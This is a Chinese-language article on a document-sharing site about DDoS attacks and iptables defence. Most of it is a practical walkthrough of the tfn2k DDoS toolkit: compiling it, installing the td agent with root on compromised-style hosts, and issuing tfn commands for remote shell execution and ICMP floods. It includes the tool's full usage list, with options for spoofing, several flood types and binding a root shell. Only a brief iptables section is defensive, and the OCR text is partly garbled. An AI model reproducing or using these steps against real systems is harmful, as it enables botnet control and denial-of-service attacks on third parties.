DDOS攻击与IPTABLES防御_第1页
DDOS攻击与IPTABLES防御_第2页
DDOS攻击与IPTABLES防御_第3页
DDOS攻击与IPTABLES防御_第4页
DDOS攻击与IPTABLES防御_第5页
已阅读5页,还剩9页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、拒绝服务攻击( DOS,Denial Of Service) 可以指任何使服务 不能正常提供的操作。如软件 bug, 操作失误等。不过现在因为失误 操作而造成的dos,可能性非常小,更多的是恶意的攻击行为。现在 拒绝服务攻击早已演变为分布式拒绝服务攻击 (DDOS,Distributed Denial Of Service), 利用更多的代理集中攻击目标,其危害更大。我们大家都知道 tcp/ip 协议现在已经成为整个 internet 框架协 议,可以说,如果没有 tcp/ip ,至少 internet 不会像现在这样普及, 甚至不可能会有 internet 。但凡事皆有两面性, tcp/ip

2、 使我们大家 受益,同时因为协议本身构造的问题, 它也成为别人攻击我们的工具。 我们以 tcp 三握手建立连接的过程来说明。一、tcp syn flood1. 客户端 (client) 发送一个包含 SYN(synchronize) 的 tcp 包至服 务器,此数据包内包含客户端端口及 tcp 序列号等基本信息。2. 服务器(server)接收到SYN包之后,将发送一个SYN-AC电来确 认。3. 客户端在收到服务器的SYN-ACI包之后,将回送ACK至服 务器,服务器如接收到此包,则TCP!接建立完成,双方可以进行通 讯(感觉像,一拜天地 . 二拜高堂 . 送入洞房 . 哈哈)问题就出在第3

3、步,如果服务器收不到客户端的 ACK包,将会等 待下去,这种状态叫做半连接状态。它会保持一定时间 ( 具体时间不 同操作系统不同),如果SYN青求超过了服务器能容纳的限度,缓冲区 队列满,那么服务器就不再接收新的请求了 , 其他合法用户的连接都 被拒绝掉。这种攻击往往事半 罪 倍,杀伤力超强。当 然 , DOS 攻 击 的 方 法 多 种 多 样 , 如 :UDP flood,ICMP/Ping,ICMP/SMURF., 具体 原理 的 介绍 大 家可 以 到 去看看,有 很详细的原理及常用攻击软件介绍。不过说到DOS攻击软件,最具代表的莫过于 tfn2k (Tribe Flood Netwo

4、rk 2000), 其作者是德国大名 鼎鼎的 mixter( 其主页 http:/mixter.void.ru/papers.html),好像最近正在埋头搞什么 tfn3k ,哎 ,不知道又有多少人寝食难安了 . 二 .tfn2k 攻击原理1. tfn2k 的攻击体系。tfn2k应该算是DDOS攻击中的代表作,其所能实现的功能让人 瞠目结舌,叹为观止 .( 对它的敬畏有如滔滔江水,延续不绝 .) 来看看它的架构。主控端 - 运行 tfn 客户端,来遥控并指定攻击目标,更改攻击 方法.( 罪大恶极 )代理端 - 被植入并运行 td 进程的牺牲品, 接受 tfn 的指挥, 攻 击的实施者 .需要注

5、意的是,一个攻击者,往往控制多台代理来完成 攻击,而且其系统多为 unix,linux 等.( 可怜的牺牲品)目标主机-被攻击的主机或网络,曾经被DDOS勺有YahooAmazon、CNN、e-bay 等.( 最大的受害者,郁闷如我 )2. tfn2k 特性。主控端通过TCP UDP ICMP或随机性使用其中之一(默认.随机)的数据包向代理端主机发送命令 , 攻击方法包括 TCP/SYN、 UDP、ICMP/PING 混合攻击、TARGA等。主控端与代理端的通讯采取单向,即主控端只向代理端发送 命令,并且会采取随机的头信息,甚至虚拟的源地址信息 , 代理端不 会逆向向主控端发送任何信息 .所有

6、命令经过CAST-256算法加命,其关键字即编译程序时的输入的口令 . 并且这个口令做为唯一认证凭证 . 利用 td 进程,主控端可以远程执行 shell 命令. td 进程的名称可以在编译时更改 , 更便于隐藏 . tfn 可以编译运行于 win32 及 linux 系统的 .至于伪造源 IP 地址等功能,更是基本功能,并且其与老版本的 tfn 相比,它的发包效率更高,我自已的测试,在短短不到 5分钟, 两台代理机,使我的 redhat linux 9.0 系统瘫痪 .三 .tfn2k 实战测试1. 测试环境 :软件: redhat linux 9.0硬件平台:master:IP: 192.

7、168.0.6PIV2.4/256*2/rtl8139Ag1 :IP: PIV2.4/256*/rtl8139AG2 : IP: pIV2.6/512*2/3c905AIM: pIV2.66c/512*2/3c905switch: D_link des 1024R1. 下载 tfn2k.tgz( 因为此软件非比寻常,所以我并不提供下载地址,如果有兴趣,自已到网上找吧 )2. 解压: tar zxvf tfn2k.tgz3. 修改文件A. src/Makefile 如果你的系统是 linux 系统,不需要做任何修就可以,如果是 w

8、in32 系统,请将# Linux / *BSD* / OthersCC = gccCFLAGS = -Wall -O3CLIBS =这几行注释掉 , 并将# Win32 (cygwin)#CC = gcc#CFLAGS = -Wall -DWINDOZE -O2#CLIBS =这几行的注释去掉 . 因为我的测试系统为 redhat linux 9.0 所以 并未做任何修改 .B. src/config.h ,默认的就可以用,如果感兴趣,可以照其注 释信息进行调整。C. src/ip.h 这里要做一些修改,否则编译会有错误,发生重复 定义。/*struct in_addrunsigned lo

9、ng int s_addr;*/注意啊我可是将它放在 /* */之间,也就是注释掉了 :)D. 更改编译器:因为 tfn2k 支持的是 egcs-1.1.2-30, 而 redhat linux9.0 所包 含的是 gcc-3.2.2-5, 所以如果不替换掉 gcc,tfn2k 是编译不过去的 . 需要注意的是,更改之后,有可能会造成基于 gcc3.2.2 的软件编译 不去, 请谨慎而行 .方法很简单 的,找 到一张 redhat linux 6.2 安装盘 , 将 egcs-1.1.2-30.rpm 、cpp-1.1.2-30.rpm 拷到/cd /mnt/cdrom/Redhat/RPMS

10、cp egcs-1.1.2-30* cpp-1.1.2-30* /安装 cpp rpm -Uvh -nodeps -oldpackage cpp-1.1.2-30.i386.rpm安装 egcs rpm -Uvh egcs-1.1.2-30.i386.rpm( 如果提示有误,用 nodeps、oldpackages 、 ignoreos 等参数忽略过 去就是了)4. 编译 tfn2kcd tfn2k/srcmake首先会谈出一个声明,你必须接受,之后会提示输入 8-32 位密 码, 前边提到过,这是唯一的认证凭证,会被分发于 td 进程中,所以 一定要记牢噢 。编译通过后,会产生 td 及 t

11、fn ,这就是大名鼎鼎的 tfn2k 啦 ,td 是守护进程,用来安装在代理中的,而 tfn 就是控制端 .5. 安装 td.将 td 上 传 到 我 的 两 台 代 理 ,ag1() 和 ag2() ,因为我只不过测试, 所以用的是合法的 root 来 上传并执行 td 进程的,如果真要找到并安装一个代理,你可能得费 点儿神,因为没有一个管理员会说 “comeon baby . 我给你 root, 来安装 td 做代理吧”roottest / ftp Connected to .530 Please lo

12、gin with USER and PASS.530 Please login with USER and PASS.Name (:root): wjpfjy331 Please specify the password. Password:230 Login successful. Have fun. Remote system type is UNIX.Using binary mode to transfer files.ftp put td ( 上传 td)local: td remote: td227 Entering Passive Mode (192,168

13、,0,3,198,225)553 Could not create file.ftp by ( 退出 ftp)221 Goodbye.roottest /ssh / 登陆到 ag1 以执行 td , 注意,我用的是 root 帐户,这样才有足够 的权限来执行它 .roots password:Last login: Tue Feb 24 06:51:13 2004 root ag1 /find / -name td -print/ 找到刚上传过来的文件 td.root ag1 wjpfjy/chmod a+x td/ 使之具有执行权限 .root a

14、g1 wjpfjy/./td/ 运行 td ,这样你就拥有一个代理了,它会对你唯命是从的 :( 。用同样的方法在ag2 ()上安装并运行TFN2k进程td.6. 攻击开始 (悲惨的回忆上演中 .)回到 master( ) ,准备演练 .rootmaster root#touch host.txt/ 建立代理记录文件 (因为如果你足够无聊的话,有可能会建立很多 的肉鸡/ 代理,不记下会忘记的噢 .)rootmaster rootecho host.txt将执行过td 的 ag1 加入 host.txt 。rootmaster r

15、ootecho host.txt 添加 ag2到 host.txt .先来测试一下链接。rootmaster root./tfn -f host.txt -c 10 -i mkdir wjpfjy 与 host.txt 中的代理通讯,让其执行命令 mkdir wjpfjy 即建立一个 目录:Protocol : randomSource IP : randomClient input : listCommand : execute remote commandPassword verification:/ 这里,会被提示输入密码,也就是编译时输入的密码 , 如果错了,将

16、无法与 td 进程通讯Sending out packets: .到 ag1 和 ag2 看看有没有建立目录名 wjpfjy ,一般情况下 , 会存 在于 td 的同一目录 , 如果不确定,可以用 find / -namewjpfjy -print 来查找rootmaster root./tfn -f host.txt -c 6 -i 开始ICMP/PING攻击aim.(可怜我的P4啊,不到5分钟,就跟386 一样慢 ),不过它在 gameover 前,还是很艰辛的记录下了攻击数据 , 也算是对得住的那NK大洋啦.这是tcpdump的抓包记录.rootaim root#

17、tcpdump -r pack.atta -c 4 -xX 08:03:36.524907 icmp: echo requestttl 00x0000 4500 005c 659d 0000 0001 d22e 172b ab00 E.e+.0x0010 c0a8 0002 0800 f7ff 0000 0000 0000 0000 0x0020 0000 0000 0000 0000 0000 0000 0000 0000 0x0030 0000 0000 0000 0000 0000 0000 0000 0000 0x0040 0000 00

18、00 0000 0000 0000 0000 0000 0000 0x0050 0000 .08:03:36.524933 : icmp: echo reply0x0000 4500 005c a5d5 0000 4001 51f6 c0a8 0002 E.Q0x0010 172b ab00 0000 ffff 0000 0000 0000 0000 .+0x0020 0000 0000 0000 0000 0000 0000 0000 0000 0x0030 0000 0000 0000 0000 0000 0000 0000 0000 0x00

19、40 0000 0000 0000 0000 0000 0000 0000 0000 0x0050 0000 .08:03:36.524944 : icmp: echo request ttl 00x0000 4500 005c 659d 0000 0001 ed6e 24eb 8200 E.en$.0x0010 c0a8 0002 0800 f7ff 0000 0000 0000 0000 0x0020 0000 0000 0000 0000 0000 0000 0000 0000 0x0030 0000 0000 0000 0000 0000

20、 0000 0000 0000 0x0040 0000 0000 0000 0000 0000 0000 0000 0000 0x0050 0000 .08:03:36.524984 : icmp: echo reply0x0000 4500 005c 551c 0000 4001 bdef c0a8 0002 E.U.0x0010 24eb 8200 0000 ffff 0000 0000 0000 0000 $0x0020 0000 0000 0000 0000 0000 0000 0000 0000 0x0030 0000 0000 000

21、0 0000 0000 0000 0000 0000 0x0040 0000 0000 0000 0000 0000 0000 0000 0000 rootmaster root./tfn -f host.txt -c 0停止攻击Protocol : randomSource IP : randomClient input : listCommand : stop floodingPassword verification: Sending out packets: .当然还有别的攻击方法,你只要用 -c X 就可以更改攻击方法 . rootmaster root./tfnusage: ./t

22、fn-P protocol Protocol for server communication. Can be ICMP, UDP or TCP.Uses a random protocol as default-D n Send out n bogus requests for each real one to decoy targets-S host/ip Specify your source IP. Randomly spoofed by default, you needto use your real IP if you are behind spoof-filtering rou

23、ters-f hostlist Filename containing a list of hosts with TFN servers to contact-h hostname To contact only a single host running a TFNserver -i target string Contains options/targets separated by , see below-p port A TCPdestination port can be specified for SYNfloods 0 - Halt all current floods on s

24、erver(s)immediately1 - Change IP antispoof-level (evade rfc2267filtering)usage: -i 0 (fully spoofed) to -i3 (/24 host bytes spoofed)2 - Change Packet size, usage: -i3 - Bind root shell to a port, usage: -i4 - UDP flood, usage: -i victimvictim2victim3.5 - TCP/SYN flood, usage: -i victim. -p destinati

25、on port6 - ICMP/PING flood, usage: -i victim.7 - ICMP/SMURF flood, usage: -i victimbroadcastbroadcast2.8 - MIX flood (UDP/TCP/ICMP interchanged), usage: -i victim.9 - TARGA3flood (IP stack penetration), usage: -i victim.10 - Blindly execute remote shell command, usage -i command四. 防守办法就如同网上所有介绍DDOS勺

26、文章一样,DDO霸不胜防,我试着 用防火墙过滤掉所有 icmp 包,来保护我的主机,但所实现的,只是 我的主机晚点儿崩溃而已.哎,别指望我来防 DDOS要能防,我也 不用不睡觉啊 :(还是那句老话, 我们能做的, 就是尽量让我们的主机不成为别人 攻击的代理,并对 intranet 内出行的包进行严格限制,尽量不去危 害别人,只要大家都这样做, 我们的网络环境才可以安全一些, 至少, 我可以安心睡几天觉 .附上我防火墙的一部分.主要是针对ICMP/PING的,不过用处不 太大:(/sbin/iptables -P INPUT DROP/sbin/iptables -A INPUT -i lo -

27、p all -j ACCEPT/sbin/iptables -A INPUT -i eth1 -p icmp -j ACCEPT/sbin/iptables -A INPUT -p icmp -icmp-type 8 -j DROP/sbin/iptables -A INPUT -s -i lo -j ACCEPT/sbin/iptables -A INPUT -s -i eth0 -j DROP/sbin/iptables -A INPUT -s $LAN_NET/24 -i eth0 -j DROP/sbin/iptables -A INPUT -s /12 -i eth0 -j DROP/sbin/iptables -A INPUT -s /8 -i eth0 -j DROP/sbin/iptables -A INPUT -i eth0 -m limit -limit 1/sec-limit-burst 5 -j ACCEPT/sbin/iptables -A INPUT-i eth0 -p udp -m state -state NEW -j REJECT/sbin/iptables -A INPUT -p tcp -dp

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论